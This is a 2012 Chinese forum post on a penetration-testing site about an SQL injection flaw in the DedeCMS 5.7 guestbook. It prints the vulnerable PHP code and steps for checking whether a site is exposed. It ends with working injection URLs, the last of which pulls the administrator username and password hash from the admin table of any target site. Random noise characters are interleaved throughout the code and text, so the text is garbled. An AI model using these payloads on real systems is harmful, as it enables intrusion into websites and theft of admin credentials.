中国网络渗透测试联盟
标题:
dedecms5.7最新sql注射漏洞利用 guestbook.php
[打印本页]
作者:
admin
时间:
2012-11-13 13:24
标题:
dedecms5.7最新sql注射漏洞利用 guestbook.php
影响版本为5.7
5 s. w7 T& m; @# ~8 d
4 L Y3 q& \. A" ^
漏洞文件edit.inc.php具体代码:
. B {% b2 i+ X7 D- Y
' `- P+ l- r4 L, {# N7 O8 |$ Q
< ?php
: P/ U' h7 d3 ` _* g
: D) v! I$ w6 v2 d* R5 k9 m! ^
if(!defined('DEDEINC')) exit('Request Error!');
t$ h- g8 c; K( v# O1 k S% M
' H- f9 O" C9 F4 Z2 X) x( v
2 o: E1 C3 ~+ p K+ Z2 k
0 t. S# U$ w# ~4 I) ?0 P
if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];
( } Q3 s( P! l/ P7 A. Y* \
7 D: a9 t: F" O4 p& |( Q8 T8 S
else $GUEST_BOOK_POS = "guestbook.php";
: m$ ]$ H! Q e0 ^. O X+ N# _
& t" i$ J) G/ x" h# G
7 P5 e) T3 e5 z" [& m
- l5 V4 j! p, ]6 I/ h
$id = intval($id);
/ s! ^* j' D1 y6 i* k. P; k' T
, l! U! E+ Y$ Y: O/ u# j6 [0 J
if(empty($job)) $job='view';
& ?6 D# ?; ?. j6 |: z ~$ \
$ A+ t+ W; A* ~0 s- p
/ D) z, i& b D5 M# [
& U/ b$ N! Z, u- }# e
if($job=='del' && $g_isadmin)
) u! u1 g- s) F v& E# Y
; |0 o- r2 Z- h/ Q
{
J7 D) G. Y5 l# X+ `% b
) B/ M B# g2 b, @( n1 r4 k6 t
$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");
2 F; F# r1 J, p9 C! E# _
( J' y$ N9 s3 l3 g7 Q5 T; j8 R& C
ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);
4 u1 L8 |2 r) P1 J% }3 |0 W
' S0 b5 C( D2 r6 m
exit();
8 I+ t$ x* j# a5 d9 d2 m
+ G4 R% C2 k/ t1 K' b- e# o
}
7 [5 _8 y. b1 N6 F( u3 t9 g6 \) O
! ?6 K: J, |3 l- _6 [0 G# W. p' q% Y
else if($job=='check' && $g_isadmin)
* ?! V4 W: s- K- r) l
. w2 }0 P1 U' g. p
{
8 _% I& Z5 p) J
% _" O4 X, e" E
$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");
) l: K$ h* x$ w
' S9 g6 I( @2 i5 f! U6 {- J' Q0 W
ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);
( ^- t ]4 o, s
+ X3 b9 S* t6 J# C+ I7 R' [* l
exit();
/ g& F: X `4 E1 J
# x& Q( y8 A% d5 ]9 W r6 Y
}
! H: T( h, ?* e; b, B
/ t* t( A# \' E; |
else if($job=='editok')
% h& G3 `* Y2 C
- u$ U9 x. L# `0 o& W- O8 }
{
4 e7 Q4 t# f: N7 M8 i
, g, A- S- D4 ?7 Q2 _: K
$remsg = trim($remsg);
+ `% l5 X: U h* S9 V7 k) ~
6 Z* r3 ]5 B! R C. i
if($remsg!='')
( t, s! a2 c+ d4 b+ i
0 @/ s6 ]- H3 s6 Z: Q1 ]
{
8 [! H9 m, h1 \6 P/ @ P* b
& O& }5 q. y& n6 D- ~& w
//管理员回复不过滤HTML By:Errorera blog:errs.cc
' O2 c J- \+ j6 I
" ?4 ?+ A; b5 C8 s7 _: c
if($g_isadmin)
& }, j6 ~ Z( @1 a3 h
0 X6 p) I$ z" e* n; ^/ N1 @
{
* Q. H; R* E4 b K% }
1 K4 U' k# Y! K: c' U
$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;
& l6 m. E- u2 { y
/ t9 M1 W! g5 N+ O2 H
//$remsg <br /><font color=red>管理员回复:</font> }
( d6 s1 J" U3 Z8 \* m0 f
+ j6 v, b+ B( g2 v! o
else
; S" ] o( J4 e5 g
- }) B7 Q" r$ u
{
$ l# h; ]$ b6 {+ \* b; t
3 i! D& d8 O) y4 ^8 D0 c% S- }
$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");
; T1 y. C* H9 T' q( V: y
# g3 D2 T/ r& L6 { E
$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";
: {* d% k' O$ Z# x
$ Y/ j( R# y- [
$remsg = trimMsg(cn_substrR($remsg, 1024), 1);
) m" r+ u% |% A" o
! c8 g( D2 n2 r' W e9 ^' \
$msg = $oldmsg.$remsg;
% E" {& S: w# ]
: y' G7 M0 S! Q7 h t2 F$ F2 @
}
9 h6 B+ g+ m# }6 O" y
9 s+ Q5 N; c1 k/ }6 J% }0 S/ a: n
}
% L0 J1 k( |) t7 e. c8 @
: B+ @+ J! R# M- y! \+ C8 e
//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:
www.errs.cc
4 A5 x! K& t% g7 R
5 J- {8 _/ Y" J6 w* ~
$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");
& f& w) B: m; G; A7 W8 V/ r
: E4 s/ h7 I) ], ~
ShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);
6 S; e* u- ?/ q* n h! Y/ \
0 `1 d5 p9 t, n
exit();
& [" |7 a) N5 W+ H8 a
2 W3 s% z+ P8 r/ y1 y7 e# S
}
5 Y# W1 F n' i6 G* D7 ^0 p9 l
+ Z2 d8 R+ b+ J5 ]" q
//home:
www.errs.cc
: h1 L( Z, `) Q4 j5 F
, Q3 d7 H4 Q' [% A; e- O& _6 w
if($g_isadmin)
8 h: ]7 f% ^ n
; A% [! _% N9 ~
{
& J% o. J; F8 S7 V+ _
- |0 [/ i8 B; k; T- ?$ h" [. Q
$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");
8 [3 i( M/ i; Z4 ]4 T4 A1 K: F& j
9 z6 s! d; o0 U# U7 R, M" d
require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');
0 M- A* e, Y8 m
" I, H/ W# L6 J# @ b( k' ?
}
; E9 R( S; H" ~7 S3 @6 {* K# }' X. K
4 R8 Y" J8 j6 E2 q' c+ F
else
! M- f5 E& |1 I, x
0 ]: Y9 x; f8 M; X, x& v# X
{
; n4 A9 ~0 b2 W3 `! p$ L/ Z5 `: m* o
; f1 Z/ s: g* r9 W
$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");
8 O/ @6 D; o( ~: B; ~
3 v- g+ g! m# j7 D& ?
require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');
( l6 a5 E- R+ X ?
1 y, i" n: f) d
} 漏洞成功需要条件:
4 k' s' x& k# y
1. php magic_quotes_gpc=off
# I Y4 Q* m0 R% |4 a! k
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。
q7 z& A: ?" C* q
5 `6 U1 C& u$ ~8 g6 F3 z& H
怎么判断是否存在漏洞:
$ ]3 q% U! @: D9 ]" E8 i# w: j) k
先打开
www.xxx.com/plus/guestbook.php
可以看到别人的留言,
9 Z6 {( v: R% h- j7 z
然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
, x6 \3 w. j9 D
访问:
; ?+ a1 N# |( F% y, h) h$ [3 S5 o$ T* C" l
1 F0 k0 z" O" A0 j
www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc
存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
2 H" t* P8 [7 K9 g8 B1 _
跳回到
www.xxx.com/plus/guestbook.php
看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证
3 `' T9 k; }8 r3 @2 w: P
9 ]" L* i4 m3 V/ K& x
9 w" J* A; p! t M# d
明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
' Y% m- q5 Z4 A: L2 q
如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。
) j' V `8 S% E( N
那么再次访问
' _% _' I( i6 i/ z/ f# [
0 D- _' \( m9 i% O/ s, I; r
www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=
存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().
; C' w6 `8 y1 u' r
# ]$ f I' L4 `, y( _" H ?
大概利用就是这样,大家有兴趣的多研究下!!
) m) A' B" n) x) v4 Z) x
9 |% k* p) }- f$ z2 v0 H
最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!
6 o* Q0 ]$ `: _. e4 x% }+ l) r
& k8 e, }2 E# x, G
view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2